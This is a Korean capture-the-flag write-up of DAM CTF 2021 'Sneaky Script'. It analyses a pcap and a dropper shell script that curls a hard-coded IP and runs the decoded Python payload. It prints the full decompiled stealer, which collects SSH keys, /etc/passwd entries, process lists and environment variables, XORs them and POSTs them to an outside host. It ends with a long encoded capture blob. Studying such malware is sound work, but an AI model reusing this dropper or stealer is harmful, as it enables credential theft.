DAM CTF 2021 - Sneaky Script

pcap 파일과 쉘스크립트 파일 하나를 준다.

#!/bin/bash

rm -f "${BASH_SOURCE[0]}"

which python3 >/dev/null
if [[ $? -ne 0 ]]; then
    exit
fi

which curl >/dev/null
if [[ $? -ne 0 ]]; then
    exit
fi

mac_addr=$(ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}')

curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2>/dev/null | base64 -d > /tmp/.cacheimg
python3 /tmp/.cacheimg
rm -f /tmp/.cacheimg

54.80.43.46 패킷을 봐야겠따.
ip.src == 54.80.43.46 필터를 통해 패킷을 필터링한다.

패킷 우클릭 - Follow - TCP Stream을 본다.
mal.sh 분석을 통해 cache는 base64(맥), Response data는 base64 인코딩 된 값임을 알 수 있다.

import base64
a = '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' 
a = base64.b64decode(a) 
f = open('./cache','wb') 
f.write(a) 
f.close()

mal.sh 에서 python3로 실행시키는 것과 파일 내용으로 pyc 파일임을 유추할 수 있다.
uncompyle6을 통해 py로 디컴파일해준다.

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.5 (tags/v3.7.5:5c02a39a0b, Oct 15 2019, 00:11:34) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: /tmp/tmpaliidej5
# Compiled at: 2021-09-26 09:59:31
# Size of source mod 2**32: 2900 bytes
import array, base64, fcntl, http.client, json, re, socket, struct, os, uuid

def get_net_info():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    g = array.array('B', b'\x00' * 4096)
    y = struct.unpack('iL', fcntl.ioctl(s.fileno(), 35090, struct.pack('iL', 4096, g.buffer_info()[0])))[0]
    n = g.tobytes()
    a = []
    for i in range(0, y, 40):
        c = n[i:i + 16].split(b'\x00', 1)[0]
        c = c.decode()
        m = n[i + 20:i + 24]
        v = f"{m[0]}.{m[1]}.{m[2]}.{m[3]}"
        a.append((c, v))

    return a


def get_users():
    with open('/etc/passwd', 'r') as (f):
        x = [x.strip() for x in f.readlines()]
    g = []
    for z in x:
        a = z.split(':')
        if int(a[2]) < 1000 or int(a[2]) > 65000:
            if a[0] != 'root':
                continue
        g.append((a[2], a[0], a[5], a[6]))

    return g


def get_proc():
    n = []
    a = os.listdir('/proc')
    for b in a:
        try:
            int(b)
            x = os.readlink(f"/proc/{b}/exe")
            with open(f"/proc/{b}/cmdline", 'rb') as (f):
                s = (b' ').join(f.read().split(b'\x00')).decode()
            n.append((b, x, s))
        except:
            continue

    return n


def get_ssh(u):
    s = []
    try:
        x = os.listdir(u + '/.ssh')
        for y in x:
            try:
                with open(f"{u}/.ssh/{y}", 'r') as (f):
                    s.append((y, f.read()))
            except:
                continue

    except:
        pass

    return s


def build_output(net, user, proc, ssh):
    out = {}
    out['net'] = net
    out['proc'] = proc
    out['env'] = dict(os.environ)
    out['user'] = []
    for i in range(len(user)):
        out['user'].append({'info':user[i],  'ssh':ssh[i]})

    return out


def send(data):
    c = http.client.HTTPConnection('34.207.187.90')
    p = json.dumps(data).encode()
    k = b'8675309'
    d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
    c.request('POST', '/upload', base64.b64encode(d))
    x = c.getresponse()


def a():
    key = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
    if '4b:e1:d6:a8:66:be' != key:
        return
    net = get_net_info()
    user = get_users()
    proc = get_proc()
    ssh = []
    for _, _, a, _ in user:
        ssh.append(get_ssh(a))

    data = build_output(net, user, proc, ssh)
    send(data)


try:
    a()
except:
    pass
# okay decompiling cache.pyc

send 함수를 보면 k로 xor 해준 뒤 리퀘스트를 보낸다.
이번엔 패킷에서 34.207.187.90을 필터링해보자.

base64(data ^ k) 이니 b64decode 후 xor 해주면 plain data를 얻을 수 있을 것 닽다.

import base64 
payload = 'CYPGml__dlV^J  ek@KWUkb @@BT_U@IJLSZQC@KBRXWYZRKODAV]]ENFGUT\FC\Jhb @@BZ_YCEUKSV@WYVEJJU\]IMZDPRE]QYTX][X[ZJ\XXUWQARB^]B
_\EKVW[mmEJJ[\QUA]UAAQZSSE^YW]DS@@@BT_UPKUZBETP[\JZ\]UKPDmmEJJU\]]ZCDWQ\UYYCDGRPVSWFC\WRX\^DP@CPWXQ]\DRF@JAECP^T[\VVJ]^VH_SSZ\\FJCM][SRSMQ@VAZ_WFJCUWQZ]\@jkBFAUQTRMVS_@QFW@@BT_UPKUZQAS@TkhCDG\PZSOPP^NPDQVLKSMEE_Y[]NRVWO^ESUEJ]GF^MERG	REVJQ_Z_PjDBPLSDmm EJJ[\QUA]UREVJCS\@[J
AZ_ET]ZZ]YMWDMEE_Y[]NRVWO^E@WYJSEE_UM[R^_WQBXGdl LKDYZR\@STTF_KPE[_MWC\\LUSX\^PLYECDG\PZSOPP^NPDT@QWBXFVTCZP]VV_CZAen MEE_Y[]NRVWO^EXG@NY[@^UUYY\G_KEJJ[\QUA]UREVJ[CEFVTCZP]VV_CZAen MEE_Y[]NRVWO^ETUSNY[@^UUYY\G_KEJJ[\QUA]UREVJWQVFVTCZP]VV_CZAenMEE_Y[]NRVWO^ER\QNY[@^UUYY\G_KEJJ[\QUA]UREVJQXTFVTCZP]VV_CZAenMEE_Y[]NRVWVYSTV]VVLKDYZR\@STT_XRVP^_WjkBFAUQTRMVS_YVZT\VB^AJJ]DA\PUFCKZ^WVH\[PZRP\SYAZD@ERGEYZ]hb@@BT_UTTTPQ^AERF@YVVLKDYZR_RZW]UO@UJK_X[JCY@SKQFCV^Oqyz~ufk~ryoj}ed||~fuyspE[MXC@LKDWZ^_XXXVJ]ED\\^DL@D\URC\KE^Z]LZCYAFen
MEE_Y[NXGTaWDPCDG\PZOZAW`YERFM
QZCITWNSW
V@GXDB[EJ]D 	QSXhXMB_ZAYMAWRSR_DX@]TVYYPWWDRFVD]RPCDMACVB[WER enMEE_Y[]NRVWWW[R@UJK_X[RPVWELBFAUQTRMVS_XXXVJ]ED\\^Z_YTAIDL@D\URC@KBRXWERF@YVVBWF^MMhb
@@BT_UPKUZWC@@PTBF\XMXT]VBFCKZ^WVH\[VACIQU@@UYCYV[UKjkBFA[QXQQEJRVP^_WEJJU\]]ZCDWQ\UYYZWXQ\T_QZREJJD]RB\RRSREULETGJH_RSZ]ED\QYUQBNP_W^]__WD\IJ_YAQ]\DRF@
jkBFAUQTRMVS_XXXVJ]ED\\^[B[CDG\PZSOPP^VYZPC\KE^Z]ZLZ]VV_CZAen	MEE_Y[]NRVTZWXQ@UKN_TPBFAUQTRMVS\UX[UJ]DA\PUkh CDG\PZSOPP^VYZPC\KE^Z][QXVGJ@@BT_UPKUZQYZ^UKSDFZ_WT^[RB@FJCM][S@UKN_TPKSDFZ_WCU@]DLjk BFA[QXR]_T]D]V\UEJJU\]^VYZPCQ]Z[mm  EJJU\]PZCDWQ\UYYQTBFTX][X[HWYP_]QEVW_UO\^enMEE_Y[]NRVY[MEXV]ZWXQCDG\PZSOPPPZCD^UT[YYSdl
 LKDYZR\@STZRLKRMGUWK_X[WMSMEE_Y[]NRVY[MEPKD\VE^Z]^L]mm EJJ[\QUA]U\QEJNBFAUQTRMVSQTBFH	XYUTSTV]VVhb@@BT_UPKUZ_U@@IWDCT_@@BT_UPKUZ_U@@IWDCT_enMEE_Y[]NRVWWW[R@X\TZVR\\VRVGC\J@RGBFAUQTRMVS_XXXVJPS[YSXTSYQRBKSECVBkh	 CDG\PZSOPPA\QEVBTQED\\^KBXGV@@BT_UPKUZNSR@\J[^F@YVVDA\B\jkBFAUQTRMVSYBFCYDRRZCMJOSCDG\PZSOPPXLDEZJSP\@DKAREJ]P[\]\ERF@YVVhb@@BT_UPKUZSAZ_EMQYY@_LJURAU^QECGJ@@BT_UPKUZSAZ_EMQYY@_LJURAU^QECGJen MEEQYWQ]FSVVEXYV@@BZ_YTZJBFAJPWEPWWW[R@X\TZZAW_XXXVjPS[Y~VL_Q\PQMQYYFdl LKDYZR\@STVFVTCC\\^[W[P]TXJQTPDVJOMEE_Y[]NRVUOWZBAZ_WUVYV^]YDSRSMWDNmm  EJJ[\QUA]UREVJ\CGRCQEJJ[\QUA]UREVJ\CGRCQFCQNVSE	ZAW_B\TF_KRMVSfKFVB kh
CDG\PZSOPP^KRT@ERAGYW_EMEE_Y[]NRVWJ\VIKSCAZ^^Khb@@BT_UPKUZQDQSVTYECDG\PZSOPP^KRV\\VJhb@@BT_UPKUZQDQTXLSC\^UFCKZ^WVH\[PFW]YBRAZ]\jkBFAUQTRMVS_ES[_LKS\PV@PVQMEE_Y[]NRVWJ\_ZFC\SSREZ^^jkBFAUQTRMVS_ESXU@ZYVGW@@BT_UPKUZQDQ[\ATXTATkh
CDG\PZSOPP^KRXVTPY\PJCFCKZ^WVH\[PFWT]R^T[\AEncFCKZ^WVH\[PFWIWARGBFAUQTRMVS_ESC_N]DncFCKZ^WVH\[PFWIJ_YA^VL_Q\PQMQYYFBFAUQTRMVS_ESCBPVB[\DP^_TTGYVVEncFCKZ^WVH\[PFWK^]^Y_@@BT_UPKUZQDQB_S_[YdlLKDYZR\@STTC]ETGVUWKWAPAIJYOLBFAUQTRMVS_ES@SK]SYFRF\JGG\H@jkBFAUQTRMVS_ES@XXJ_YRBFAUQTRMVS_ES@XXJ_YRdl

LKDYZR\@STTC]EZTADZYDSCDG\PZSOPP^KRF^QKLUVGWenMEE_Y[]NRVWJ\DZF^]EJJ[\QUA]UR@TKYB[WenMEE_Y[]NRVWJ\BFQIJYCPPDPWXMEE_Y[]NRVWJ\BFQIJYCPPDPWXncFCKZ^WVH\[PFWNYUXXBFAUQTRMVS_ESDQZW[ncFCKZ^WVH\[PFWNOWYCDG\PZSOPP^KRBDQWjkBFAUQTRMVS_ESKC\LB^[TCFCKZ^WVH\[PFWAKSCAZ^^Khb@@BT_UPKUZ_U@@\VQ^[VJQ[GYV@@BT_UPKUZ_U@@\VQ^[VJQ[GYVen
	MEE_Y[]NRVWJ\GGZ^M]DMEE_Y[]NRVWJ\GGZ^M]DncFCKT^[FTLYXY@TFCKT^[FTLYXY@TXC^EJJQ\V[]qQkhCDG\PZSOPP^KRQZCRCC\_YMAYZGY_ALKDYZR\@STTC]R^FXLL_[\GIVYC\UIkhCDG\PZSOPP\NY[@GYVVVQWB\KEUZ\[^WTA\B@EJJ[\QUA]UPE_UMB^Z]X\REP@C[WY\UQZLYELdlLKDYZR\@STTF_KRXVDX\WCTBFAUQTRMVS_@QFWT]BVQRDXjkBFAUQTRMVS]@XYFDPWXQRDXERGEUKSAZ_EMQYYR\XJ[[\DP^OMEE_Y[]NRVUOWZBAZ_WRVARJ]DAPA\NY[@GYVVVYRBTXXAZV@jkBFA[QX@CTXLS[\DP^_RGCGQRD\XXAZVP]Dnc
FCKZ^WVH\[P[\]\BRG^YWYZFVBO]DMEE_Y[]NRVWWW[RGUKU_YT_J]DAPAen	
MEEQYWTVF[UT@XkhBFAUQTSZB\^YOUYK]PXMBFAUQTSZB\^YOUYK]PXMW]ABZ^]WAnc EJJ[\Q_QDRS\H^_EPU_AEJJ[\Q_QDRS\H^_EPU_ATZ]D\VBGG\SU_\_Tp|YJ~YEwA_NKSE@K]PDyV^	EAU_uWGfZJ\ 
GTAUWLtB\_Tp|	
R@I\_EEJJ[\Q_QDRS\HZDXB@UK  LDBPDXZhbFCKZ^WVPJSQZK_QDRS\HFCKZ^WVPJSQZK_QDRS\HUX[GUWLFEZP[^^YWy}ZCWDuG\GJ]DCB\^E{P]EAU_uWGfZJ\ 
GTAUWLtB\_Tp|	
R@I\_EEJJ[\Q_QDRS\HZDXB@UK  LDBPDXZhbFCKZ^WVPJSQZK_QDRS\HFCKZ^WVPJSQZK_QDRS\HUX[GUWLFEZP[^^YWy}ZCWDuG\GJ]DCB\^E{P]
@K]PzTCcPBSCQK]XCwFYU\s 	
XHFS\AMEE_Y[P^GVVV@UG\GJ]D  
CGFULWUmm LKDYZR^_EPU_AP^GVVV@LKDYZR^_EPU_AP^GVVV@V\^M]XCEA_ZT]Z\]qrPKpXGqBVOERGIJSQFUWFEPU}XHe^OV
 HWEP]D{M_[Qzt
	VECTPJ@@BT_UUYK]PXMRKWADPADKMSARRkh
BFAUQTSZB\^YOUYK]PXMBFAUQTSZB\^YOUYK]PXMZWXCP]DIJYTSQQZS|w^Fu_KzDXB@UKGGVVJtSY
	CB\^{VE`YC] 	ERB\VBu@Z\]qr
QIHR^GLKDYZR^_EPU_ATEZDC\J	BE@VMYTnc EJJU\]^VYZPSVVBEZ_Z]XCPAP[\]\UX[GBVTTP]D\Jhb FCKZ^WVH\[PCUC]XRAD_KSLKDYZR\@STTF_KR[VDNWD\JHW@[VBVJQRG[_@QFUA]UhFCQNnc
EJJ[\QUA]UREVJ\S[@C]EJJ[\QUA]UREVJ\S[@C]FCQNVSE	ZAW_B\TF_KRMVSfKFVBkh
BFAUQTRMVSLDVVXUKECZAUFCKZ^WVH\[CGRSR]DFG_K]hbFCKT^[RXK^Z_YQQJPRJPhbFCKT^[@@L^X[ CIMPYYMUFPQZPS^XTekUWNHjps{y
U\][YE_ksdfzwg{v{rw|j\V[W[FRLVBBsMUFzs|CY\K F^P@BWF^MMA^@tpEWQN bdfyutp`cpz{|giuxy|bm}dz	LDBPP_UWDa|qhv|~qqhqzbjUM[OQTA\Q@QEWLCVDZNSRnsrl}|vcheauqn^VYZPp{|}|grrfxdvhidp`cpwxh|wC]ZCQEQV@K]UVAVTr}t}id}v|ugerf`yvvizzwu@QEWLCjk~htfdqgexvxGF^MERG	^VIKQXP@CQk}v|q|vbjsYT_U@@sp`{mwfhfvcjqyy	MTB[GEf`xfyqr{goiqrb|j~}mzrf
QV\_
XL]WAY]_SiorPYZPZPUh}idp`cpwxhqvcrlyg	MTB[GEy|wwy{r	R_Z`rpj`ujkx{ld`hsA	~hqhttuwli~{uAEWCDPAT^LHQfWI_VRV^Mnv`gxvjcl
E@]LKSE 	PQ^aYCC]\BPLO~rehqvrliczcyzkzjseg|brey|wbz~}wagtgx~xxv]\]\\^Xcdpa~xusSQ[puitz}vpig}rc|{t}wP]olkbaucf{y{zacG@	R^Y]			]QCY 
JWRXWW US 
VJ^YFF
	C^[W
	CB	\G
JLSODXJATJ
WEV XJ\

	GQC []R			TL\CPYI]X CYI			LNMDCWAJ
L^E C SO ^BYAJ
ZM\CWMI			BECDCKB

	QJ UO MZL

	GRC
AI			\SUBIU_RB
AVG \YD

	@QK ETA			YZMQZ]O\_
UG\\			L

	AJ
UVW NQ[

	@GT SB^			]ESZI__CU^ Z_CW
[]EVW
Q^S [UF

CRT GR^		 	HFZD^YMQ]
NGX MQP

GY_^E]W
EAR JNQM]W_EPH
[XC THQ

^@\_XF
[\C N]TZ_^UXC
[C THAFVZDG		 	VCAGTNT@V
DZBTNT

U\Z VCZ		 	^Z^VUNR_		 	\Z

KS_ OBW		 	ACAS^UP^V
YPC V_N

RQZ V@ 	_TWT  ]YXZT
[^QZ		U]V  ]IXCS
YPR 	KYBRF
YPT 	VHCD  CI@M@@_ kt~gubgauwlisp`{mwfLZCYAF
~vyzp`cplf|je~z}r}t}icpa}pvw{j`sk}sy	YERWWW[RgUKU_YT_J[DRP]WVgVPoYQj
R\\iU	TVz~owuvazwgs	ZTPVT[ R PU\U{v{rw|jf~q
 qyrwQR]BW^h[oX	ZhXFXfSN lQK]iP]DtzjgrrwfwfwccefdFGT\JDu}edvj}LKDWZ^TSDFCYI]FJkt~gerf`yvvityrcjFC\Jd|j{ALSEXUXY\Byvcjwfr{
JFCKT^[\\KEG\CUElkse	R_Zxxxvom}dz|}qugergeyz}
r~fc|xa
	`xunzbdfq{hx|tltsPZCD`rpjaewlzpltpjKMX@@UK}zfbwyzhfgb|y{kt~grvaro}qdd	CDGCQYDRFRLVBBEJJ[ZPQUE_TAUBFAJPWEP
NWE_Y[EYTCT\SD^G_IcqmpLKDY\SXTDWZ^CDG\V[W[QYWBFAJZ_YEJJU\]
KT^[	[QXFCKQVXVCCDG\V[W[TQT]E@^XHU\]pq~c|ke~z}BWF^MMt{mehfvcjqyyjqejgwsqaujkEWQNERDQE@]LKSE 	U@@xyw`n|QW[RYYTrRFXDVHoFCKT^[@@L^X[ D@@UKnHPVPX	bKWYCDXZGWZ^ZWD]mDF[mjHB_YS\m 	YYTXVUS_Z]QYWTVF[dF@XlnY]gDDT{}q~{i}xdf{ijatgussnjYW rUZXyORsJlo^GTS}wvtrqzUp[VIyv__WxpywvttiTvORmq xywvrrqxytu\ct]@Spi]ieZW wUd^DtqxywrtrqxysvtrwaywvtqwBWtJS}wvtrtxiwutrq{_gtI|R
QmwlWvEEP|wnNdrCtWCdGk]mREwTVuyl_uwCYWsae\JT@Pew\xHyq[XsIl`}IadXXFdXMyuT{bz
K}|ER_ib{rwslFEc{CmThWbs||LaLIaYYa]\U M{@U^}k[Kd_
tZqQZ{AdCEGPqTqIZ}qFBI

\M^criU`vBptByj_ondVcK{Fb
x	\Prqo^mZ[
[|\GQ[CFJr~U	^~g]UEOBQIb]S_ OQtfIrKtadfkDXKn[BjtBGB@J\eVW^ }wM_[~F}`uTdsAVw`y{G^{QQMFZ @OWhr
YeOYXSOeTc\[g\yeAJ`@wSVkjYmPgwk~XBUC	]AOD{^`x]W}jj_Zsz_\eMD{uRB@\wy\{ iCvO`]q[NGx{H_Syi]VKNSBL^Yv
Du`uDM\aur@tmBsiDLBxU@|lxQlGi^vQYtq]RWTzoF}
R]FlWW|yRKpoSxyw`dAAb}zqmr_XmjDA]RzQJaigBXUZKMBDB~}St[TiaZfqBdXxphrmsgPVComoGpTkoGVRFE@~nV}x|brQZd]zDZEwm{cy_SuH`FPV\RYLSZpTtRXk[
irTpoai\K|}v`Ul~yafPTItXQWPgcslj rok
MzQVpaevZNrabAdoVDdDo^tGxC|JgD\yXcvN`b_Ny\F}~fxrG]\
}`ZfZ@RQ]YW@dsZ\PyEyP}{s[^vOtwVbeVopGHhqn_MBUAPf|vxEwNou} CP] qT\OQOecQAMmm	r\SmQgv{nbpPsPNBvskjKjYUcl	RXMP~ivxXXiySy]PZ^sWvWR@yyzjwst|ZiSl^Y^MtKTRN\ZQsPx i][ut TBrUqRrqq_`JSSPjT_@WToFQ}oBRz^jp{YQtC	x@CJ}FMOQOmua lWUw@xa\[CZ@|CwCVtA~ |xTwG_PQ}}dj\Cb[ iIqsY`Qr[y^^\wU}[JzP^AVqIdXuapBc_GYakrqbu|Icp^Vt}Rmg _JkQq_xnUVX\JxybYP{U\^q^f VBCqV @wCk[dt^PnBaBMmWBegvWDBaT}
B fxYTi|nSoIt	pNpsBvpbBW{O@rcxY	o~ajByUo^A}tDMQHxwRUYZ[LFzFR~M}ERuzYqc@Kq`RDvtMs\WCLA_~wS^nTf{[~r\eVBxZhuS]ZLkwCj`WkQTvRo|Pbgy`J@OCKIUdr_QRXYfYFpax]Ap|vdXIujYguWmiSUd}@[V|E\n	ovTgS|uOXGarOrSf	~UZbtFXQppzU~FpCYh AQrRDE~_Ri]z\gCjX
BZZeBBfC\|Bv`]eL_~Mw^TEAe`o]dxyYx^^zSXW_OLcmPQC@PJ|T
lWP|C]\]asFGJA yE DYM`d}xgz]RLo[ZPTfCVsgNxkucFd[Bkmjrks_VendX]fyxsgMtsL~@f{G~arqeu]frCC`KOpNQwIOStq_w`sd}yPf\ENjB\I Z	k[uHMrf\_@DU	{xfTlLyZvY	WpaROKCj@utUq_|Dv@[\fG}xxZzGMfsLr{rtleOo^Ay_sGda\aG~VCfgRI_[f_iJ]sek^DvwxbuqfQzDNw@bT|uQ}}f
nB|TeVCMLr_OKs~se]ZsWyPxIwXrxuc xR^rTgX{~yWbs`\B`pB utFkj{jNxEB}IjYxwzrSdwicuZR]dUZ	niU]kbpA}_Jz~tj	QXfaxaI`}f|o|pMm@a~f{I z[ci]s
]c}}eJNYQ{rUfQQvIp}ZW^zmA|pZYk
RX`l{NRxDua`@mHFL^dKSQ}~clWbOt]}wlbUgwWK@pgm[cl]bSgPb]gTRP kiLVGYQC{qrDp{u~sZ_Fb~Vz{E_dX[YYw{CrU
lmpZzF[yrKLs|gDztnQVIwye^AzIACBWTKnZ|UBc{[tk[cvrcu v@ [EYl\M@_}p n [izFdjOPcwVMZR`ZDohu]\TJnoIJtjGo^viyraUEBO`CMEMvyetTZUIuc VUZAQdc_wcYoQ_rta^mbRjg[SC\o[|t]eVygqfv`nnc`_|ba\cC{aVsOmPC~eMI	^Tw  CwK}A~mqW]BvDhV{Xb{psjYoBAMu|^[An`
	aD{EC{GgtJ@`s\ZyXBn[{hTjwmV{TqnQ~vU|YSs\ODi]WuHD{}drRwqO@~^]{t|XvdYBlWuw|xev~jk~eayoybrxu`lWkhP\iEFRIMTJK^G@QywvtqwBWtJS}wvtrtxiwutrq{_gtI|R
Qmw~JJTy}fAkvF~_LkDoXg]JtQ\zvo[LVSyi j_NQJXjsYr@v~X\vCdorMk_Jo^CtpSwi|Fx{ITQdg|tyzt`MCmvFa_nR nturqIf@BoT\m [RXJwKSSxHm^v\rX[u@fEFN^pRrHT|s@A@^K]jsgTbpK	~u@zc^albUjJu Dd	qRQpwlTYXu]IPYEEC|~xV _|dTTKN@WJcSR]FPzdOqBuoedmGQJ`Z@lwCICBL_QPxpAT]pKxgy_b}LSplr}IS~V]F@TE  DQ	o~_kB\__Dc
